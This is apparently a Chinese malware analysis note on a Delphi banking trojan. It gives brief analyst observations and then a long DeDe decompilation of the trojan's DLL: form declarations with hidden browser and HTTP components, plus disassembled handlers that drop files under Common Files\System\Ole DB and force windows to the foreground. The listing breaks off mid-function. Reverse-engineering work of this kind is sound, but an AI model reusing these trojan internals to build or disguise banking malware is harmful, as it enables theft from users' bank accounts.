Trojan-Banker.Win32.Banker (2)

使用spy对木马进程监视,发现不停地WM_TIMER消息,估计木马使用定时器监控ie的启动情况

木马使用delphi编写.

先使用ollydbg反编译Coilk.exe,发现

代码中有{985483CD-DCDE-4817-AF35-F17411836625}google,发现是Trojan-Banker病毒

代码中有TInterfacedObject,baidu,发现是delhpi类

再下载DeDe反编译,代码如下

Xaze.dll

unit Uqwt;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  Tfrm_SSMoon=class(TForm)
    ti_ZipMemory: TTimer;
    Panel1: TPanel;
    Webb1: TWebBrowser;
    IdHTTP: TIdHTTP;
    Webb: TWebBrowser;
    webb2: TWebBrowser;
    RzColorPicker1: TRzColorPicker;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Memo1: TMemo;
    procedure FormCreate(Sender : TObject);
    procedure WebbDocumentComplete(Sender : TObject);
    procedure FormClose(Sender : TObject);
    procedure FormActivate(Sender : TObject);
    procedure ti_ZipMemoryTimer(Sender : TObject);
    procedure webb2DocumentComplete(Sender : TObject);
    procedure webb2NewWindow2(Sender : TObject);
    procedure WebbNewWindow2(Sender : TObject);
    procedure _PROC_004BA92A(Sender : TObject);
    procedure _PROC_004BA961(Sender : TObject);
    procedure _PROC_004BAA38(Sender : TObject);
    procedure _PROC_004BAA95(Sender : TObject);
    procedure _PROC_004BACE1(Sender : TObject);
    procedure _PROC_004BAD08(Sender : TObject);
    procedure _PROC_004BAD51(Sender : TObject);
    procedure _PROC_004BB33D(Sender : TObject);
    procedure _PROC_004BB5A5(Sender : TObject);
    procedure _PROC_004BB800(Sender : TObject);
    procedure _PROC_004BBD09(Sender : TObject);
    procedure _PROC_004BBDE4(Sender : TObject);
    procedure _PROC_004BC071(Sender : TObject);
    procedure _PROC_004BC5C5(Sender : TObject);
    procedure _PROC_004BC843(Sender : TObject);
    procedure _PROC_004BC859(Sender : TObject);
    procedure _PROC_004BCA70(Sender : TObject);
    procedure _PROC_004BCE8D(Sender : TObject);
    procedure _PROC_004BCF10(Sender : TObject);
    procedure _PROC_004BD43C(Sender : TObject);
    procedure _PROC_004BD598(Sender : TObject);
    procedure _PROC_004BD60F(Sender : TObject);
    procedure _PROC_004BD618(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  frm_SSMoon: Tfrm_SSMoon;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure Tfrm_SSMoon.FormCreate(Sender : TObject);
begin
(*
004BBE20   55                     push    ebp
004BBE21   8BEC                   mov     ebp, esp
004BBE23   33C9                   xor     ecx, ecx
004BBE25   51                     push    ecx
004BBE26   51                     push    ecx
004BBE27   51                     push    ecx
004BBE28   51                     push    ecx
004BBE29   51                     push    ecx
004BBE2A   51                     push    ecx
004BBE2B   51                     push    ecx
004BBE2C   51                     push    ecx
004BBE2D   53                     push    ebx
004BBE2E   56                     push    esi
004BBE2F   8BD8                   mov     ebx, eax
004BBE31   33C0                   xor     eax, eax
004BBE33   55                     push    ebp

* Possible String Reference to: '檠岕腚^[嬪]?
|
004BBE34   6806C04B00             push    $004BC006

***** TRY
|
004BBE39   64FF30                 push    dword ptr fs:[eax]
004BBE3C   648920                 mov     fs:[eax], esp
004BBE3F   6AEC                   push    $EC
004BBE41   8BC3                   mov     eax, ebx

|
004BBE43   E8583BF9FF             call    0044F9A0
004BBE48   50                     push    eax

* Reference to: user32.GetWindowLongA()
|
004BBE49   E802C5F4FF             call    00408350
004BBE4E   8BF0                   mov     esi, eax
004BBE50   81CE00000800           or      esi, $00080000
004BBE56   81CE80000000           or      esi, $00000080
004BBE5C   56                     push    esi
004BBE5D   6AEC                   push    $EC
004BBE5F   8BC3                   mov     eax, ebx

|
004BBE61   E83A3BF9FF             call    0044F9A0
004BBE66   50                     push    eax

* Reference to: user32.SetWindowLongA()
|
004BBE67   E834C7F4FF             call    004085A0
004BBE6C   6A02                   push    $02
004BBE6E   6A03                   push    $03
004BBE70   6A00                   push    $00
004BBE72   8BC3                   mov     eax, ebx

|
004BBE74   E8273BF9FF             call    0044F9A0
004BBE79   50                     push    eax
004BBE7A   A12C654C00             mov     eax, dword ptr [$004C652C]
004BBE7F   8B00                   mov     eax, [eax]
004BBE81   FFD0                   call    eax
004BBE83   8D45FC                 lea     eax, [ebp-$04]

* Reference to : TWebBrowser._PROC_004704D0()
|
004BBE86   E84546FBFF             call    004704D0
004BBE8B   8B1568624C00           mov     edx, [$004C6268]
004BBE91   8802                   mov     [edx], al
004BBE93   C60578DD4C0000         mov     byte ptr [$004CDD78], $00
004BBE9A   C60579DD4C0000         mov     byte ptr [$004CDD79], $00
004BBEA1   8D45FC                 lea     eax, [ebp-$04]
004BBEA4   50                     push    eax
004BBEA5   8D55F4                 lea     edx, [ebp-$0C]
004BBEA8   33C0                   xor     eax, eax

|
004BBEAA   E8CD74F4FF             call    0040337C
004BBEAF   8B45F4                 mov     eax, [ebp-$0C]
004BBEB2   8D55F8                 lea     edx, [ebp-$08]

|
004BBEB5   E876EAF4FF             call    0040A930
004BBEBA   8B45F8                 mov     eax, [ebp-$08]
004BBEBD   B903000000             mov     ecx, $00000003
004BBEC2   BA01000000             mov     edx, $00000001

|
004BBEC7   E8209BF4FF             call    004059EC
004BBECC   A168624C00             mov     eax, dword ptr [$004C6268]
004BBED1   803806                 cmp     byte ptr [eax], $06
004BBED4   740A                   jz      004BBEE0
004BBED6   A168624C00             mov     eax, dword ptr [$004C6268]
004BBEDB   803807                 cmp     byte ptr [eax], $07
004BBEDE   7527                   jnz     004BBF07
004BBEE0   8D45EC                 lea     eax, [ebp-$14]

* Reference to : TWebBrowser._PROC_00470A04()
|
004BBEE3   E81C4BFBFF             call    00470A04
004BBEE8   8B45EC                 mov     eax, [ebp-$14]
004BBEEB   8D55F0                 lea     edx, [ebp-$10]

|
004BBEEE   E83DEAF4FF             call    0040A930
004BBEF3   8B55F0                 mov     edx, [ebp-$10]
004BBEF6   A148624C00             mov     eax, dword ptr [$004C6248]

* Possible String Reference to: 'MSPat.XML'
|
004BBEFB   B91CC04B00             mov     ecx, $004BC01C

|
004BBF00   E80799F4FF             call    0040580C
004BBF05   EB1C                   jmp     004BBF23
004BBF07   FF75FC                 push    dword ptr [ebp-$04]

* Possible String Reference to: 'Program Files\Common Files\System\O
|                                le DB\'
|
004BBF0A   6830C04B00             push    $004BC030

* Possible String Reference to: 'MSPat.XML'
|
004BBF0F   681CC04B00             push    $004BC01C
004BBF14   A148624C00             mov     eax, dword ptr [$004C6248]
004BBF19   BA03000000             mov     edx, $00000003

|
004BBF1E   E86599F4FF             call    00405888
004BBF23   A168624C00             mov     eax, dword ptr [$004C6268]
004BBF28   803806                 cmp     byte ptr [eax], $06
004BBF2B   740A                   jz      004BBF37
004BBF2D   A168624C00             mov     eax, dword ptr [$004C6268]
004BBF32   803807                 cmp     byte ptr [eax], $07
004BBF35   7527                   jnz     004BBF5E
004BBF37   8D45E4                 lea     eax, [ebp-$1C]

* Reference to : TWebBrowser._PROC_00470A04()
|
004BBF3A   E8C54AFBFF             call    00470A04
004BBF3F   8B45E4                 mov     eax, [ebp-$1C]
004BBF42   8D55E8                 lea     edx, [ebp-$18]

|
004BBF45   E8E6E9F4FF             call    0040A930
004BBF4A   8B55E8                 mov     edx, [ebp-$18]
004BBF4D   A1D8644C00             mov     eax, dword ptr [$004C64D8]

* Possible String Reference to: 'msadotb.htm'
|
004BBF52   B964C04B00             mov     ecx, $004BC064

|
004BBF57   E8B098F4FF             call    0040580C
004BBF5C   EB24                   jmp     004BBF82
004BBF5E   8D45E0                 lea     eax, [ebp-$20]

* Reference to : TWebBrowser._PROC_004709B0()
|
004BBF61   E84A4AFBFF             call    004709B0
004BBF66   FF75E0                 push    dword ptr [ebp-$20]

* Possible String Reference to: 'Program Files\Common Files\System\O
|                                le DB\'
|
004BBF69   6830C04B00             push    $004BC030

* Possible String Reference to: 'msadotb.htm'
|
004BBF6E   6864C04B00             push    $004BC064
004BBF73   A1D8644C00             mov     eax, dword ptr [$004C64D8]
004BBF78   BA03000000             mov     edx, $00000003

|
004BBF7D   E80699F4FF             call    00405888
004BBF82   A148624C00             mov     eax, dword ptr [$004C6248]
004BBF87   8B00                   mov     eax, [eax]
004BBF89   33D2                   xor     edx, edx

|
004BBF8B   E8E0FBFEFF             call    004ABB70

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BBF90   898388030000           mov     [ebx+$0388], eax
004BBF96   8BC3                   mov     eax, ebx

|
004BBF98   E8D3000000             call    004BC070
004BBF9D   8BC3                   mov     eax, ebx

* Reference to : Tfrm_SSMoon._PROC_004BCA70()
|
004BBF9F   E8CC0A0000             call    004BCA70
004BBFA4   B201                   mov     dl, $01

* Reference to class TStringList
|
004BBFA6   A1A8AA4100             mov     eax, dword ptr [$0041AAA8]

|
004BBFAB   E86885F4FF             call    00404518

* Reference to field Tfrm_SSMoon.OFFS_038C
|
004BBFB0   89838C030000           mov     [ebx+$038C], eax
004BBFB6   B201                   mov     dl, $01

* Reference to class TStringList
|
004BBFB8   A1A8AA4100             mov     eax, dword ptr [$0041AAA8]

|
004BBFBD   E85685F4FF             call    00404518

* Reference to field Tfrm_SSMoon.OFFS_0390
|
004BBFC2   898390030000           mov     [ebx+$0390], eax
004BBFC8   8BC3                   mov     eax, ebx

|
004BBFCA   E8D139F9FF             call    0044F9A0
004BBFCF   8BC8                   mov     ecx, eax
004BBFD1   B201                   mov     dl, $01

* Reference to class TConntecInternetThread
|
004BBFD3   A1141C4700             mov     eax, dword ptr [$00471C14]

|
004BBFD8   E8A35CFBFF             call    00471C80

* Reference to field Tfrm_SSMoon.OFFS_0394
|
004BBFDD   898394030000           mov     [ebx+$0394], eax
004BBFE3   A158674C00             mov     eax, dword ptr [$004C6758]
004BBFE8   C60000                 mov     byte ptr [eax], $00
004BBFEB   33C0                   xor     eax, eax
004BBFED   5A                     pop     edx
004BBFEE   59                     pop     ecx
004BBFEF   59                     pop     ecx
004BBFF0   648910                 mov     fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '^[嬪]?
|
004BBFF3   680DC04B00             push    $004BC00D
004BBFF8   8D45E0                 lea     eax, [ebp-$20]
004BBFFB   BA08000000             mov     edx, $00000008

|
004BC000   E81395F4FF             call    00405518
004BC005   C3                     ret


|
004BC006   E9D18CF4FF             jmp     00404CDC
004BC00B   EBEB                   jmp     004BBFF8

****** END
|
004BC00D   5E                     pop     esi
004BC00E   5B                     pop     ebx
004BC00F   8BE5                   mov     esp, ebp
004BC011   5D                     pop     ebp
004BC012   C3                     ret

*)
end;

procedure Tfrm_SSMoon.WebbDocumentComplete(Sender : TObject);
begin
(*
004BC668   55                     push    ebp
004BC669   8BEC                   mov     ebp, esp
004BC66B   6A00                   push    $00
004BC66D   6A00                   push    $00
004BC66F   6A00                   push    $00
004BC671   6A00                   push    $00
004BC673   6A00                   push    $00
004BC675   6A00                   push    $00
004BC677   6A00                   push    $00
004BC679   53                     push    ebx
004BC67A   56                     push    esi
004BC67B   8BF1                   mov     esi, ecx
004BC67D   8BD8                   mov     ebx, eax
004BC67F   33C0                   xor     eax, eax
004BC681   55                     push    ebp
004BC682   6834C84B00             push    $004BC834

***** TRY
|
004BC687   64FF30                 push    dword ptr fs:[eax]
004BC68A   648920                 mov     fs:[eax], esp
004BC68D   803D78DD4C0000         cmp     byte ptr [$004CDD78], $00
004BC694   0F8564010000           jnz     004BC7FE
004BC69A   8D55F4                 lea     edx, [ebp-$0C]

* Reference to control Tfrm_SSMoon.Webb : TWebBrowser
|
004BC69D   8B8370030000           mov     eax, [ebx+$0370]

* Reference to : TWebBrowser._PROC_00470444()
|
004BC6A3   E89C3DFBFF             call    00470444
004BC6A8   3B75F4                 cmp     esi, [ebp-$0C]
004BC6AB   0F854D010000           jnz     004BC7FE
004BC6B1   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BC6B6   83B88803000000         cmp     dword ptr [eax+$0388], +$00
004BC6BD   0F843B010000           jz      004BC7FE
004BC6C3   C60578DD4C0001         mov     byte ptr [$004CDD78], $01
004BC6CA   8D4DF0                 lea     ecx, [ebp-$10]

* Reference to control Tfrm_SSMoon.Webb : TWebBrowser
|
004BC6CD   8B8370030000           mov     eax, [ebx+$0370]
004BC6D3   BACB000000             mov     edx, $000000CB

* Reference to : TOleControl._PROC_0046CE4C()
|
004BC6D8   E86F07FBFF             call    0046CE4C
004BC6DD   8B55F0                 mov     edx, [ebp-$10]
004BC6E0   B860DD4C00             mov     eax, $004CDD60
004BC6E5   B944C84B00             mov     ecx, $004BC844

|
004BC6EA   E891ABF4FF             call    00407280
004BC6EF   8D45EC                 lea     eax, [ebp-$14]

|
004BC6F2   E845ABF4FF             call    0040723C
004BC6F7   50                     push    eax
004BC6F8   A160DD4C00             mov     eax, dword ptr [$004CDD60]
004BC6FD   50                     push    eax
004BC6FE   8B00                   mov     eax, [eax]
004BC700   FF90B0010000           call    dword ptr [eax+$01B0]

|
004BC706   E841ACF4FF             call    0040734C
004BC70B   8B55EC                 mov     edx, [ebp-$14]
004BC70E   B864DD4C00             mov     eax, $004CDD64
004BC713   B954C84B00             mov     ecx, $004BC854

|
004BC718   E863ABF4FF             call    00407280
004BC71D   B201                   mov     dl, $01

* Reference to class TMemoryStream
|
004BC71F   A1ACAD4100             mov     eax, dword ptr [$0041ADAC]

|
004BC724   E8EF7DF4FF             call    00404518
004BC729   8945F8                 mov     [ebp-$08], eax
004BC72C   B201                   mov     dl, $01

* Reference to class TStringList
|
004BC72E   A1A8AA4100             mov     eax, dword ptr [$0041AAA8]

|
004BC733   E8E07DF4FF             call    00404518
004BC738   8945FC                 mov     [ebp-$04], eax
004BC73B   33C0                   xor     eax, eax
004BC73D   55                     push    ebp
004BC73E   68F7C74B00             push    $004BC7F7

***** TRY
|
004BC743   64FF30                 push    dword ptr fs:[eax]
004BC746   648920                 mov     fs:[eax], esp

* Possible String Reference to: ''
|
004BC749   BA6CC84B00             mov     edx, $004BC86C
004BC74E   8B45FC                 mov     eax, [ebp-$04]
004BC751   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TStringList.OFFS_38
|
004BC753   FF5138                 call    dword ptr [ecx+$38]

* Possible String Reference to: ''
|
004BC770   BA4CC94B00             mov     edx, $004BC94C
004BC775   8B45FC                 mov     eax, [ebp-$04]
004BC778   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TStringList.OFFS_38
|
004BC77A   FF5138                 call    dword ptr [ecx+$38]
004BC77D   8B55F8                 mov     edx, [ebp-$08]
004BC780   8B45FC                 mov     eax, [ebp-$04]
004BC783   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TStringList.OFFS_78
|
004BC785   FF5178                 call    dword ptr [ecx+$78]
004BC788   6A00                   push    $00
004BC78A   6A00                   push    $00
004BC78C   8B45F8                 mov     eax, [ebp-$08]

|
004BC78F   E8842EF6FF             call    0041F618
004BC794   6A00                   push    $00
004BC796   8B4DF8                 mov     ecx, [ebp-$08]
004BC799   B201                   mov     dl, $01

* Reference to class TStreamAdapter
|
004BC79B   A13CB04100             mov     eax, dword ptr [$0041B03C]

|
004BC7A0   E80B82F6FF             call    004249B0
004BC7A5   85C0                   test    eax, eax
004BC7A7   7403                   jz      004BC7AC
004BC7A9   83E8EC                 sub     eax, -$14
004BC7AC   50                     push    eax
004BC7AD   8D4DE4                 lea     ecx, [ebp-$1C]

* Reference to control Tfrm_SSMoon.Webb : TWebBrowser
|
004BC7B0   8B8370030000           mov     eax, [ebx+$0370]
004BC7B6   BACB000000             mov     edx, $000000CB

* Reference to : TOleControl._PROC_0046CE4C()
|
004BC7BB   E88C06FBFF             call    0046CE4C
004BC7C0   8B55E4                 mov     edx, [ebp-$1C]
004BC7C3   8D45E8                 lea     eax, [ebp-$18]
004BC7C6   B964C94B00             mov     ecx, $004BC964

|
004BC7CB   E8B0AAF4FF             call    00407280
004BC7D0   8B45E8                 mov     eax, [ebp-$18]
004BC7D3   50                     push    eax
004BC7D4   8B00                   mov     eax, [eax]
004BC7D6   FF5014                 call    dword ptr [eax+$14]
004BC7D9   33C0                   xor     eax, eax
004BC7DB   5A                     pop     edx
004BC7DC   59                     pop     ecx
004BC7DD   59                     pop     ecx
004BC7DE   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BC7E1   68FEC74B00             push    $004BC7FE
004BC7E6   8B45F8                 mov     eax, [ebp-$08]

|
004BC7E9   E85A7DF4FF             call    00404548
004BC7EE   8B45FC                 mov     eax, [ebp-$04]

|
004BC7F1   E8527DF4FF             call    00404548
004BC7F6   C3                     ret


|
004BC7F7   E9E084F4FF             jmp     00404CDC
004BC7FC   EBE8                   jmp     004BC7E6

****** END
|
004BC7FE   33C0                   xor     eax, eax
004BC800   5A                     pop     edx
004BC801   59                     pop     ecx
004BC802   59                     pop     ecx
004BC803   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BC806   683BC84B00             push    $004BC83B
004BC80B   8D45E4                 lea     eax, [ebp-$1C]

|
004BC80E   E829AAF4FF             call    0040723C
004BC813   8D45E8                 lea     eax, [ebp-$18]

|
004BC816   E821AAF4FF             call    0040723C
004BC81B   8D45EC                 lea     eax, [ebp-$14]

|
004BC81E   E819AAF4FF             call    0040723C
004BC823   8D45F0                 lea     eax, [ebp-$10]

|
004BC826   E811AAF4FF             call    0040723C
004BC82B   8D45F4                 lea     eax, [ebp-$0C]

|
004BC82E   E809AAF4FF             call    0040723C
004BC833   C3                     ret


|
004BC834   E9A384F4FF             jmp     00404CDC
004BC839   EBD0                   jmp     004BC80B

****** END
|
004BC83B   5E                     pop     esi
004BC83C   5B                     pop     ebx
004BC83D   8BE5                   mov     esp, ebp
004BC83F   5D                     pop     ebp
004BC840   C20400                 ret     $0004

*)
end;

procedure Tfrm_SSMoon.FormClose(Sender : TObject);
begin
(*
004BCA40   53                     push    ebx
004BCA41   8BD8                   mov     ebx, eax
004BCA43   C60102                 mov     byte ptr [ecx], $02

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BCA46   8B8388030000           mov     eax, [ebx+$0388]

|
004BCA4C   E8F77AF4FF             call    00404548

* Reference to field Tfrm_SSMoon.OFFS_038C
|
004BCA51   8B838C030000           mov     eax, [ebx+$038C]

|
004BCA57   E8EC7AF4FF             call    00404548

* Reference to field Tfrm_SSMoon.OFFS_0390
|
004BCA5C   8B8390030000           mov     eax, [ebx+$0390]

|
004BCA62   E8E17AF4FF             call    00404548
004BCA67   33C0                   xor     eax, eax

* Reference to GlobalVar_004CDD54
|
004BCA69   A354DD4C00             mov     dword ptr [$004CDD54], eax
004BCA6E   5B                     pop     ebx
004BCA6F   C3                     ret

*)
end;

procedure Tfrm_SSMoon.FormActivate(Sender : TObject);
begin
(*

* Reference to field Tfrm_SSMoon.OFFS_004C
|
004BD1AC   8B504C                 mov     edx, [eax+$4C]
004BD1AF   8BCA                   mov     ecx, edx
004BD1B1   F7DA                   neg     edx 

* Reference to : TGlassFrame._PROC_00463270()
|
004BD1B3   E8B860FAFF             call    00463270
004BD1B8   C3                     ret

*)
end;

procedure Tfrm_SSMoon.ti_ZipMemoryTimer(Sender : TObject);
begin
(*
004BD1BC   55                     push    ebp
004BD1BD   8BEC                   mov     ebp, esp
004BD1BF   51                     push    ecx
004BD1C0   53                     push    ebx
004BD1C1   56                     push    esi
004BD1C2   57                     push    edi
004BD1C3   8945FC                 mov     [ebp-$04], eax
004BD1C6   833D58DD4C0000         cmp     dword ptr [$004CDD58], +$00
004BD1CD   7631                   jbe     004BD200
004BD1CF   33C0                   xor     eax, eax
004BD1D1   55                     push    ebp
004BD1D2   68F6D14B00             push    $004BD1F6

***** TRY
|
004BD1D7   64FF30                 push    dword ptr fs:[eax]
004BD1DA   648920                 mov     fs:[eax], esp
004BD1DD   6AFF                   push    $FF
004BD1DF   6AFF                   push    $FF
004BD1E1   A158DD4C00             mov     eax, dword ptr [$004CDD58]
004BD1E6   50                     push    eax

* Reference to: kernel32.SetProcessWorkingSetSize()
|
004BD1E7   E8D4ABF4FF             call    00407DC0
004BD1EC   33C0                   xor     eax, eax
004BD1EE   5A                     pop     edx
004BD1EF   59                     pop     ecx
004BD1F0   59                     pop     ecx
004BD1F1   648910                 mov     fs:[eax], edx
004BD1F4   EB0A                   jmp     004BD200

|
004BD1F6   E92D78F4FF             jmp     00404A28

|
004BD1FB   E8387CF4FF             call    00404E38

****** END
|
004BD200   8B45FC                 mov     eax, [ebp-$04]

* Reference to control Tfrm_SSMoon.ti_ZipMemory : TTimer
|
004BD203   8B8060030000           mov     eax, [eax+$0360]
004BD209   BA40771B00             mov     edx, $001B7740

* Reference to : TPanel._PROC_00437CDC()
|
004BD20E   E8C9AAF7FF             call    00437CDC
004BD213   5F                     pop     edi
004BD214   5E                     pop     esi
004BD215   5B                     pop     ebx
004BD216   59                     pop     ecx
004BD217   5D                     pop     ebp
004BD218   C3                     ret

*)
end;

procedure Tfrm_SSMoon.webb2DocumentComplete(Sender : TObject);
begin
(*
004BD21C   55                     push    ebp
004BD21D   8BEC                   mov     ebp, esp
004BD21F   6A00                   push    $00
004BD221   6A00                   push    $00
004BD223   6A00                   push    $00
004BD225   6A00                   push    $00
004BD227   6A00                   push    $00
004BD229   53                     push    ebx
004BD22A   56                     push    esi
004BD22B   8BF1                   mov     esi, ecx
004BD22D   8BD8                   mov     ebx, eax
004BD22F   33C0                   xor     eax, eax
004BD231   55                     push    ebp
004BD232   6844D34B00             push    $004BD344

***** TRY
|
004BD237   64FF30                 push    dword ptr fs:[eax]
004BD23A   648920                 mov     fs:[eax], esp
004BD23D   803D79DD4C0000         cmp     byte ptr [$004CDD79], $00
004BD244   0F85C7000000           jnz     004BD311
004BD24A   8D4DFC                 lea     ecx, [ebp-$04]
004BD24D   BAC8000000             mov     edx, $000000C8

* Reference to control Tfrm_SSMoon.webb2 : TWebBrowser
|
004BD252   8B8374030000           mov     eax, [ebx+$0374]

* Reference to : TOleControl._PROC_0046CE4C()
|
004BD258   E8EFFBFAFF             call    0046CE4C
004BD25D   3B75FC                 cmp     esi, [ebp-$04]
004BD260   0F85AB000000           jnz     004BD311
004BD266   C60579DD4C0001         mov     byte ptr [$004CDD79], $01
004BD26D   B85CDD4C00             mov     eax, $004CDD5C

|
004BD272   E8C59FF4FF             call    0040723C
004BD277   A154DD4C00             mov     eax, dword ptr [$004CDD54]

|
004BD27C   E81F27F9FF             call    0044F9A0
004BD281   50                     push    eax

* Reference to: user32.SetForegroundWindow()
|
004BD282   E8C1B2F4FF             call    00408548
004BD287   8D45F8                 lea     eax, [ebp-$08]

|
004BD28A   E8AD9FF4FF             call    0040723C
004BD28F   50                     push    eax
004BD290   8D4DF4                 lea     ecx, [ebp-$0C]
004BD293   A154DD4C00             mov     eax, dword ptr [$004CDD54]

* Reference to control webb2 : TWebBrowser
|
004BD298   8B8074030000           mov     eax, [eax+$0374]
004BD29E   BACB000000             mov     edx, $000000CB

* Reference to : TOleControl._PROC_0046CE4C()
|
004BD2A3   E8A4FBFAFF             call    0046CE4C
004BD2A8   8B45F4                 mov     eax, [ebp-$0C]
004BD2AB   50                     push    eax
004BD2AC   8B00                   mov     eax, [eax]
004BD2AE   FF90B0010000           call    dword ptr [eax+$01B0]

|
004BD2B4   E893A0F4FF             call    0040734C
004BD2B9   8B45F8                 mov     eax, [ebp-$08]
004BD2BC   50                     push    eax
004BD2BD   8B00                   mov     eax, [eax]
004BD2BF   FF90EC000000           call    dword ptr [eax+$00EC]

|
004BD2C5   E882A0F4FF             call    0040734C

* Possible String Reference to: '{TAB '
|
004BD2CA   685CD34B00             push    $004BD35C
004BD2CF   8D55EC                 lea     edx, [ebp-$14]

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BD2D2   8B8388030000           mov     eax, [ebx+$0388]
004BD2D8   8B402C                 mov     eax, [eax+$2C]

|
004BD2DB   E82CCFF4FF             call    0040A20C
004BD2E0   FF75EC                 push    dword ptr [ebp-$14]
004BD2E3   686CD34B00             push    $004BD36C
004BD2E8   8D45F0                 lea     eax, [ebp-$10]
004BD2EB   BA03000000             mov     edx, $00000003

|
004BD2F0   E89385F4FF             call    00405888
004BD2F5   8B45F0                 mov     eax, [ebp-$10]

|
004BD2F8   E88786F4FF             call    00405984
004BD2FD   33D2                   xor     edx, edx

|
004BD2FF   E8CC0AFFFF             call    004ADDD0
004BD304   A160624C00             mov     eax, dword ptr [$004C6260]
004BD309   8B00                   mov     eax, [eax]
004BD30B   50                     push    eax

* Reference to: user32.SetForegroundWindow()
|
004BD30C   E837B2F4FF             call    00408548
004BD311   33C0                   xor     eax, eax
004BD313   5A                     pop     edx
004BD314   59                     pop     ecx
004BD315   59                     pop     ecx
004BD316   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BD319   684BD34B00             push    $004BD34B
004BD31E   8D45EC                 lea     eax, [ebp-$14]
004BD321   BA02000000             mov     edx, $00000002

|
004BD326   E8ED81F4FF             call    00405518
004BD32B   8D45F4                 lea     eax, [ebp-$0C]

|
004BD32E   E8099FF4FF             call    0040723C
004BD333   8D45F8                 lea     eax, [ebp-$08]

|
004BD336   E8019FF4FF             call    0040723C
004BD33B   8D45FC                 lea     eax, [ebp-$04]

|
004BD33E   E8F99EF4FF             call    0040723C
004BD343   C3                     ret


|
004BD344   E99379F4FF             jmp     00404CDC
004BD349   EBD3                   jmp     004BD31E

****** END
|
004BD34B   5E                     pop     esi
004BD34C   5B                     pop     ebx
004BD34D   8BE5                   mov     esp, ebp
004BD34F   5D                     pop     ebp
004BD350   C20400                 ret     $0004

*)
end;

procedure Tfrm_SSMoon.webb2NewWindow2(Sender : TObject);
begin
(*
004BD370   55                     push    ebp
004BD371   8BEC                   mov     ebp, esp
004BD373   6A00                   push    $00
004BD375   6A00                   push    $00
004BD377   53                     push    ebx
004BD378   56                     push    esi
004BD379   57                     push    edi
004BD37A   8BF1                   mov     esi, ecx
004BD37C   8BD8                   mov     ebx, eax
004BD37E   33C0                   xor     eax, eax
004BD380   55                     push    ebp
004BD381   682AD44B00             push    $004BD42A

***** TRY
|
004BD386   64FF30                 push    dword ptr fs:[eax]
004BD389   648920                 mov     fs:[eax], esp
004BD38C   33C0                   xor     eax, eax
004BD38E   55                     push    ebp
004BD38F   68F7D34B00             push    $004BD3F7

***** TRY
|
004BD394   64FF30                 push    dword ptr fs:[eax]
004BD397   648920                 mov     fs:[eax], esp
004BD39A   833D5CDD4C0000         cmp     dword ptr [$004CDD5C], +$00
004BD3A1   7425                   jz      004BD3C8
004BD3A3   8D45FC                 lea     eax, [ebp-$04]

|
004BD3A6   E8919EF4FF             call    0040723C
004BD3AB   50                     push    eax
004BD3AC   A15CDD4C00             mov     eax, dword ptr [$004CDD5C]
004BD3B1   50                     push    eax
004BD3B2   8B00                   mov     eax, [eax]
004BD3B4   FF503C                 call    dword ptr [eax+$3C]

|
004BD3B7   E8909FF4FF             call    0040734C
004BD3BC   8B55FC                 mov     edx, [ebp-$04]
004BD3BF   8BC6                   mov     eax, esi

|
004BD3C1   E88E9EF4FF             call    00407254
004BD3C6   EB1D                   jmp     004BD3E5
004BD3C8   8D4DF8                 lea     ecx, [ebp-$08]

* Reference to control Tfrm_SSMoon.Webb1 : TWebBrowser
|
004BD3CB   8B8368030000           mov     eax, [ebx+$0368]
004BD3D1   BAC8000000             mov     edx, $000000C8

* Reference to : TOleControl._PROC_0046CE4C()
|
004BD3D6   E871FAFAFF             call    0046CE4C
004BD3DB   8B55F8                 mov     edx, [ebp-$08]
004BD3DE   8BC6                   mov     eax, esi

|
004BD3E0   E86F9EF4FF             call    00407254
004BD3E5   8B4508                 mov     eax, [ebp+$08]
004BD3E8   66C7000000             mov     word ptr [eax], $0000
004BD3ED   33C0                   xor     eax, eax
004BD3EF   5A                     pop     edx
004BD3F0   59                     pop     ecx
004BD3F1   59                     pop     ecx
004BD3F2   648910                 mov     fs:[eax], edx
004BD3F5   EB12                   jmp     004BD409

|
004BD3F7   E92C76F4FF             jmp     00404A28
004BD3FC   8B4508                 mov     eax, [ebp+$08]
004BD3FF   66C700FFFF             mov     word ptr [eax], $FFFF

|
004BD404   E82F7AF4FF             call    00404E38

****** END
|
004BD409   33C0                   xor     eax, eax
004BD40B   5A                     pop     edx
004BD40C   59                     pop     ecx
004BD40D   59                     pop     ecx
004BD40E   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BD411   6831D44B00             push    $004BD431
004BD416   8D45F8                 lea     eax, [ebp-$08]

* Reference to object IDispatch
|
004BD419   8B15B8114000           mov     edx, [$004011B8]
004BD41F   B902000000             mov     ecx, $00000002

|
004BD424   E80F8DF4FF             call    00406138
004BD429   C3                     ret


|
004BD42A   E9AD78F4FF             jmp     00404CDC
004BD42F   EBE5                   jmp     004BD416

****** END
|
004BD431   5F                     pop     edi
004BD432   5E                     pop     esi
004BD433   5B                     pop     ebx
004BD434   59                     pop     ecx
004BD435   59                     pop     ecx
004BD436   5D                     pop     ebp
004BD437   C20400                 ret     $0004

*)
end;

procedure Tfrm_SSMoon.WebbNewWindow2(Sender : TObject);
begin
(*
004BC974   55                     push    ebp
004BC975   8BEC                   mov     ebp, esp
004BC977   6A00                   push    $00
004BC979   6A00                   push    $00
004BC97B   53                     push    ebx
004BC97C   56                     push    esi
004BC97D   57                     push    edi
004BC97E   8BF1                   mov     esi, ecx
004BC980   8BD8                   mov     ebx, eax
004BC982   33C0                   xor     eax, eax
004BC984   55                     push    ebp
004BC985   682ECA4B00             push    $004BCA2E

***** TRY
|
004BC98A   64FF30                 push    dword ptr fs:[eax]
004BC98D   648920                 mov     fs:[eax], esp
004BC990   33C0                   xor     eax, eax
